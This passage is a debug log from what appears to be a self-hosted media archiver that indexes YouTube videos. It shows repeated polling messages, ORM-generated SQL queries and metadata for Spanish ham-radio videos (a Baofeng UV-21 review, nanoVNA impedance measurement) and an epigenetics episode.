[debug] Current batch of media processed. Will check again in 1000ms 22:31:33.128 [debug] Current batch of media processed. Will check again in 1000ms 22:31:34.073 [debug] Current batch of media processed. Will check again in 1000ms 22:31:34.129 [debug] Current batch of media processed. Will check again in 1000ms 22:31:35.074 [debug] Current batch of media processed. Will check again in 1000ms 22:31:35.130 [debug] Current batch of media processed. Will check again in 1000ms 22:31:36.075 [debug] Current batch of media processed. Will check again in 1000ms 22:31:36.131 [debug] Current batch of media processed. Will check again in 1000ms 22:31:37.076 [debug] Current batch of media processed. Will check again in 1000ms 22:31:37.132 [debug] Current batch of media processed. Will check again in 1000ms 22:31:38.077 [debug] Current batch of media processed. Will check again in 1000ms 22:31:38.133 [debug] Current batch of media processed. Will check again in 1000ms 22:31:39.078 [debug] Current batch of media processed. Will check again in 1000ms 22:31:39.134 [debug] Current batch of media processed. Will check again in 1000ms 22:31:40.079 [debug] Current batch of media processed. Will check again in 1000ms 22:31:40.135 [debug] Current batch of media processed. Will check again in 1000ms 22:31:41.080 [debug] Current batch of media processed. Will check again in 1000ms 22:31:41.136 [debug] Current batch of media processed. Will check again in 1000ms 22:31:42.081 [debug] Current batch of media processed. Will check again in 1000ms 22:31:42.137 [debug] Current batch of media processed. Will check again in 1000ms 22:31:43.082 [debug] Current batch of media processed. Will check again in 1000ms 22:31:43.138 [debug] Current batch of media processed. Will check again in 1000ms 22:31:44.083 [debug] Current batch of media processed. Will check again in 1000ms 22:31:44.139 [debug] Current batch of media processed. Will check again in 1000ms 22:31:45.084 [debug] Current batch of media processed. Will check again in 1000ms 22:31:45.140 [debug] Current batch of media processed. Will check again in 1000ms 22:31:46.085 [debug] Current batch of media processed. Will check again in 1000ms 22:31:46.141 [debug] Current batch of media processed. Will check again in 1000ms 22:31:47.086 [debug] Current batch of media processed. Will check again in 1000ms 22:31:47.142 [debug] Current batch of media processed. Will check again in 1000ms 22:31:48.087 [debug] Current batch of media processed. Will check again in 1000ms 22:31:48.143 [debug] Current batch of media processed. Will check again in 1000ms 22:31:49.088 [debug] Current batch of media processed. Will check again in 1000ms 22:31:49.144 [debug] Current batch of media processed. Will check again in 1000ms 22:31:50.089 [debug] Current batch of media processed. Will check again in 1000ms 22:31:50.145 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "He estado probando un walkie tribanda Baofeng UV-21 PRO V2 y la verdad es que me ha dejado muy desilusionado. De hecho pensaba probar temas de programación de canales y ya no he llegado a hacerlo despues de ver la salida de transmisión. De todos modos comparto con vosotros los resultados de mi análisis, por si os es útil a alguno.\n\n#baofeng #uv-21 #radioaficionados #armónicos #badquality \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1678, "filename" => "/downloads/music/ea3grn/138 - REVIEW NEGATIVA DEL BAOFENG UV21 PRO V2.m4a", "id" => "JOhiCf0pH8w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JOhiCf0pH8w", "playlist_index" => 43, "timestamp" => 1714665623, "title" => "138 - REVIEW NEGATIVA DEL BAOFENG UV21 PRO V2", "upload_date" => "20240502"} 22:31:50.146 [debug] QUERY OK source="sources" db=0.7ms idle=1069.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:31:50.147 [debug] QUERY OK source="sources" db=0.3ms idle=386.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:31:50.148 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=386.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-02 16:00:23Z], 3] 22:31:50.155 [debug] QUERY OK source="media_items" db=6.4ms idle=388.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["He estado probando un walkie tribanda Baofeng UV-21 PRO V2 y la verdad es que me ha dejado muy desilusionado. De hecho pensaba probar temas de programación de canales y ya no he llegado a hacerlo despues de ver la salida de transmisión. De todos modos comparto con vosotros los resultados de mi análisis, por si os es útil a alguno.\n\n#baofeng #uv-21 #radioaficionados #armónicos #badquality \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "138 - REVIEW NEGATIVA DEL BAOFENG UV21 PRO V2", "7cb65ac4-e30c-4d32-ae72-3890fc5a0c1c", 1678, false, "JOhiCf0pH8w", "https://www.youtube.com/watch?v=JOhiCf0pH8w", 43, "/downloads/music/ea3grn/138 - REVIEW NEGATIVA DEL BAOFENG UV21 PRO V2.m4a", false, false, false, 3, [], 98, ~U[2024-05-02 16:00:23Z], ~U[2026-02-07 21:31:50Z], ~U[2026-02-07 21:31:50Z], "He estado probando un walkie tribanda Baofeng UV-21 PRO V2 y la verdad es que me ha dejado muy desilusionado. De hecho pensaba probar temas de programación de canales y ya no he llegado a hacerlo despues de ver la salida de transmisión. De todos modos comparto con vosotros los resultados de mi análisis, por si os es útil a alguno.\n\n#baofeng #uv-21 #radioaficionados #armónicos #badquality \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "138 - REVIEW NEGATIVA DEL BAOFENG UV21 PRO V2", 1678, false, "JOhiCf0pH8w", "https://www.youtube.com/watch?v=JOhiCf0pH8w", "/downloads/music/ea3grn/138 - REVIEW NEGATIVA DEL BAOFENG UV21 PRO V2.m4a", false, 3, ~U[2024-05-02 16:00:23Z]] 22:31:50.156 [debug] QUERY OK source="sources" db=0.3ms idle=78.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:31:50.156 [debug] QUERY OK source="media_profiles" db=0.5ms idle=9.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:31:50.157 [debug] QUERY OK source="media_items" db=0.5ms idle=9.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1379] 22:31:50.157 [debug] Current batch of media processed. Will check again in 1000ms 22:31:51.090 [debug] Current batch of media processed. Will check again in 1000ms 22:31:51.158 [debug] Current batch of media processed. Will check again in 1000ms 22:31:51.215 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:52.091 [debug] Current batch of media processed. Will check again in 1000ms 22:31:52.159 [debug] Current batch of media processed. Will check again in 1000ms 22:31:53.092 [debug] Current batch of media processed. Will check again in 1000ms 22:31:53.160 [debug] Current batch of media processed. Will check again in 1000ms 22:31:54.093 [debug] Current batch of media processed. Will check again in 1000ms 22:31:54.161 [debug] Current batch of media processed. Will check again in 1000ms 22:31:55.094 [debug] Current batch of media processed. Will check again in 1000ms 22:31:55.162 [debug] Current batch of media processed. Will check again in 1000ms 22:31:56.095 [debug] Current batch of media processed. Will check again in 1000ms 22:31:56.163 [debug] Current batch of media processed. Will check again in 1000ms 22:31:57.096 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "#IAMIQUE 👉🏼 Episodio 9️⃣ : Edad Biológica y Epigenética 🧬🕰️\nHola Amig@ si hay algún capitulo de IAMIQUE que te pedimos que veas es este. Por favor! 🙏🏻\nEn él, te queremos explicar que es la edad biológica, que no tiene nada que ver con la que marca tu DNI y te lo explicamos para que lo entiendas y ..... quizás actúes. \nNO Te hago perder mas el tiempo, por que lo que tienes que hacer es verlo... así que lo ves y nos comentas no seas vago! : \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n#IAMIQUE #inteligenciaartificial #chatgpt #genetica #ADN #productividad #biologia #genoma", "duration" => 905, "filename" => "/downloads/music/IA mí QUÉ/EP.9: Epigenética y Edad Biológica..mp4", "id" => "hMFR4_RLP6c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hMFR4_RLP6c", "playlist_index" => 41, "timestamp" => 1746169800, "title" => "EP.9: Epigenética y Edad Biológica.", "upload_date" => "20250502"} 22:31:57.097 [debug] QUERY OK source="sources" db=0.5ms idle=1336.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:31:57.098 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1337.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:31:57.099 [debug] QUERY OK source="media_items" db=0.7ms idle=1011.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-02 07:10:00Z], 2] 22:31:57.101 [debug] QUERY OK source="media_items" db=1.1ms idle=338.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Episodio 9️⃣ : Edad Biológica y Epigenética 🧬🕰️\nHola Amig@ si hay algún capitulo de IAMIQUE que te pedimos que veas es este. Por favor! 🙏🏻\nEn él, te queremos explicar que es la edad biológica, que no tiene nada que ver con la que marca tu DNI y te lo explicamos para que lo entiendas y ..... quizás actúes. \nNO Te hago perder mas el tiempo, por que lo que tienes que hacer es verlo... así que lo ves y nos comentas no seas vago! : \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n#IAMIQUE #inteligenciaartificial #chatgpt #genetica #ADN #productividad #biologia #genoma", "EP.9: Epigenética y Edad Biológica.", "801eb494-1631-472b-aeda-57c637ae28e2", 905, false, "hMFR4_RLP6c", "https://www.youtube.com/watch?v=hMFR4_RLP6c", 41, "/downloads/music/IA mí QUÉ/EP.9: Epigenética y Edad Biológica..mp4", false, false, false, 2, [], 87, ~U[2025-05-02 07:10:00Z], ~U[2026-02-07 21:31:57Z], ~U[2026-02-07 21:31:57Z], "#IAMIQUE 👉🏼 Episodio 9️⃣ : Edad Biológica y Epigenética 🧬🕰️\nHola Amig@ si hay algún capitulo de IAMIQUE que te pedimos que veas es este. Por favor! 🙏🏻\nEn él, te queremos explicar que es la edad biológica, que no tiene nada que ver con la que marca tu DNI y te lo explicamos para que lo entiendas y ..... quizás actúes. \nNO Te hago perder mas el tiempo, por que lo que tienes que hacer es verlo... así que lo ves y nos comentas no seas vago! : \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n#IAMIQUE #inteligenciaartificial #chatgpt #genetica #ADN #productividad #biologia #genoma", "EP.9: Epigenética y Edad Biológica.", 905, false, "hMFR4_RLP6c", "https://www.youtube.com/watch?v=hMFR4_RLP6c", "/downloads/music/IA mí QUÉ/EP.9: Epigenética y Edad Biológica..mp4", false, 2, ~U[2025-05-02 07:10:00Z]] 22:31:57.101 [debug] QUERY OK source="sources" db=0.5ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:31:57.102 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:31:57.103 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1348] 22:31:57.103 [debug] Current batch of media processed. Will check again in 1000ms 22:31:57.164 [debug] Current batch of media processed. Will check again in 1000ms 22:31:58.103 [debug] Current batch of media processed. Will check again in 1000ms 22:31:58.165 [debug] Current batch of media processed. Will check again in 1000ms 22:31:59.104 [debug] Current batch of media processed. Will check again in 1000ms 22:31:59.166 [debug] Current batch of media processed. Will check again in 1000ms 22:32:00.105 [debug] Current batch of media processed. Will check again in 1000ms 22:32:00.108 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:00.167 [debug] Current batch of media processed. Will check again in 1000ms 22:32:01.106 [debug] Current batch of media processed. Will check again in 1000ms 22:32:01.168 [debug] Current batch of media processed. Will check again in 1000ms 22:32:02.107 [debug] Current batch of media processed. Will check again in 1000ms 22:32:02.169 [debug] Current batch of media processed. Will check again in 1000ms 22:32:03.108 [debug] Current batch of media processed. Will check again in 1000ms 22:32:03.170 [debug] Current batch of media processed. Will check again in 1000ms 22:32:04.109 [debug] Current batch of media processed. Will check again in 1000ms 22:32:04.171 [debug] Current batch of media processed. Will check again in 1000ms 22:32:05.110 [debug] Current batch of media processed. Will check again in 1000ms 22:32:05.172 [debug] Current batch of media processed. Will check again in 1000ms 22:32:06.111 [debug] Current batch of media processed. Will check again in 1000ms 22:32:06.173 [debug] Current batch of media processed. Will check again in 1000ms 22:32:07.112 [debug] Current batch of media processed. Will check again in 1000ms 22:32:07.174 [debug] Current batch of media processed. Will check again in 1000ms 22:32:08.113 [debug] Current batch of media processed. Will check again in 1000ms 22:32:08.175 [debug] Current batch of media processed. Will check again in 1000ms 22:32:09.114 [debug] Current batch of media processed. Will check again in 1000ms 22:32:09.176 [debug] Current batch of media processed. Will check again in 1000ms 22:32:10.115 [debug] Current batch of media processed. Will check again in 1000ms 22:32:10.177 [debug] Current batch of media processed. Will check again in 1000ms 22:32:11.116 [debug] Current batch of media processed. Will check again in 1000ms 22:32:11.178 [debug] Current batch of media processed. Will check again in 1000ms 22:32:12.117 [debug] Current batch of media processed. Will check again in 1000ms 22:32:12.179 [debug] Current batch of media processed. Will check again in 1000ms 22:32:13.118 [debug] Current batch of media processed. Will check again in 1000ms 22:32:13.180 [debug] Current batch of media processed. Will check again in 1000ms 22:32:14.119 [debug] Current batch of media processed. Will check again in 1000ms 22:32:14.181 [debug] Current batch of media processed. Will check again in 1000ms 22:32:15.121 [debug] Current batch of media processed. Will check again in 1000ms 22:32:15.182 [debug] Current batch of media processed. Will check again in 1000ms 22:32:16.121 [debug] Current batch of media processed. Will check again in 1000ms 22:32:16.183 [debug] Current batch of media processed. Will check again in 1000ms 22:32:17.122 [debug] Current batch of media processed. Will check again in 1000ms 22:32:17.184 [debug] Current batch of media processed. Will check again in 1000ms 22:32:18.123 [debug] Current batch of media processed. Will check again in 1000ms 22:32:18.185 [debug] Current batch of media processed. Will check again in 1000ms 22:32:19.124 [debug] Current batch of media processed. Will check again in 1000ms 22:32:19.186 [debug] Current batch of media processed. Will check again in 1000ms 22:32:20.125 [debug] Current batch of media processed. Will check again in 1000ms 22:32:20.187 [debug] Current batch of media processed. Will check again in 1000ms 22:32:21.126 [debug] Current batch of media processed. Will check again in 1000ms 22:32:21.188 [debug] Current batch of media processed. Will check again in 1000ms 22:32:21.216 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:22.127 [debug] Current batch of media processed. Will check again in 1000ms 22:32:22.189 [debug] Current batch of media processed. Will check again in 1000ms 22:32:23.128 [debug] Current batch of media processed. Will check again in 1000ms 22:32:23.190 [debug] Current batch of media processed. Will check again in 1000ms 22:32:24.129 [debug] Current batch of media processed. Will check again in 1000ms 22:32:24.191 [debug] Current batch of media processed. Will check again in 1000ms 22:32:25.130 [debug] Current batch of media processed. Will check again in 1000ms 22:32:25.192 [debug] Current batch of media processed. Will check again in 1000ms 22:32:26.131 [debug] Current batch of media processed. Will check again in 1000ms 22:32:26.193 [debug] Current batch of media processed. Will check again in 1000ms 22:32:27.132 [debug] Current batch of media processed. Will check again in 1000ms 22:32:27.194 [debug] Current batch of media processed. Will check again in 1000ms 22:32:28.133 [debug] Current batch of media processed. Will check again in 1000ms 22:32:28.195 [debug] Current batch of media processed. Will check again in 1000ms 22:32:29.134 [debug] Current batch of media processed. Will check again in 1000ms 22:32:29.196 [debug] Current batch of media processed. Will check again in 1000ms 22:32:30.135 [debug] Current batch of media processed. Will check again in 1000ms 22:32:30.197 [debug] Current batch of media processed. Will check again in 1000ms 22:32:31.136 [debug] Current batch of media processed. Will check again in 1000ms 22:32:31.199 [debug] Current batch of media processed. Will check again in 1000ms 22:32:32.137 [debug] Current batch of media processed. Will check again in 1000ms 22:32:32.199 [debug] Current batch of media processed. Will check again in 1000ms 22:32:33.138 [debug] Current batch of media processed. Will check again in 1000ms 22:32:33.200 [debug] Current batch of media processed. Will check again in 1000ms 22:32:34.139 [debug] Current batch of media processed. Will check again in 1000ms 22:32:34.201 [debug] Current batch of media processed. Will check again in 1000ms 22:32:35.140 [debug] Current batch of media processed. Will check again in 1000ms 22:32:35.202 [debug] Current batch of media processed. Will check again in 1000ms 22:32:36.141 [debug] Current batch of media processed. Will check again in 1000ms 22:32:36.203 [debug] Current batch of media processed. Will check again in 1000ms 22:32:37.142 [debug] Current batch of media processed. Will check again in 1000ms 22:32:37.204 [debug] Current batch of media processed. Will check again in 1000ms 22:32:38.143 [debug] Current batch of media processed. Will check again in 1000ms 22:32:38.205 [debug] Current batch of media processed. Will check again in 1000ms 22:32:39.144 [debug] Current batch of media processed. Will check again in 1000ms 22:32:39.206 [debug] Current batch of media processed. Will check again in 1000ms 22:32:40.145 [debug] Current batch of media processed. Will check again in 1000ms 22:32:40.207 [debug] Current batch of media processed. Will check again in 1000ms 22:32:41.146 [debug] Current batch of media processed. Will check again in 1000ms 22:32:41.208 [debug] Current batch of media processed. Will check again in 1000ms 22:32:42.147 [debug] Current batch of media processed. Will check again in 1000ms 22:32:42.209 [debug] Current batch of media processed. Will check again in 1000ms 22:32:43.148 [debug] Current batch of media processed. Will check again in 1000ms 22:32:43.210 [debug] Current batch of media processed. Will check again in 1000ms 22:32:44.149 [debug] Current batch of media processed. Will check again in 1000ms 22:32:44.212 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Como medir, con ayuda de un nanoVNA, un cable paralelo para averiguar su impedancia. Muy útil para calcular baluns o diseñar lineas de alimentación paralela para antenas multibandas.\n\n\nContenido del video\n00:00 - Inicio\n00:29 - Intro canal\n00:46 - ¿Como lo medimos?\n01:46 - Transformadores de 1/4 onda\n03:10 - La fórmula\n05:40 - Midiendo con el nanoVNA\n12:27 - Calculando\n\n\n#radioaficionados #nanovna #impedancia #mediciones #diyelectronics #hamradio \n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 888, "filename" => "/downloads/music/ea3grn/137 - CALCULAR IMPEDANCIA CABLE PARALELO NANOVNA MAGIA EN CUARTOS DE ONDA.m4a", "id" => "tVvI3bkYU2Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tVvI3bkYU2Y", "playlist_index" => 44, "timestamp" => 1714233645, "title" => "137 - CALCULAR IMPEDANCIA CABLE PARALELO NANOVNA MAGIA EN CUARTOS DE ONDA", "upload_date" => "20240427"} 22:32:44.213 [debug] QUERY OK source="sources" db=0.6ms idle=1451.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:32:44.214 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1453.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:32:44.215 [debug] QUERY OK source="media_items" db=0.8ms idle=1453.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-27 16:00:45Z], 3] 22:32:44.218 [debug] QUERY OK source="media_items" db=1.2ms idle=1042.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Como medir, con ayuda de un nanoVNA, un cable paralelo para averiguar su impedancia. Muy útil para calcular baluns o diseñar lineas de alimentación paralela para antenas multibandas.\n\n\nContenido del video\n00:00 - Inicio\n00:29 - Intro canal\n00:46 - ¿Como lo medimos?\n01:46 - Transformadores de 1/4 onda\n03:10 - La fórmula\n05:40 - Midiendo con el nanoVNA\n12:27 - Calculando\n\n\n#radioaficionados #nanovna #impedancia #mediciones #diyelectronics #hamradio \n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo 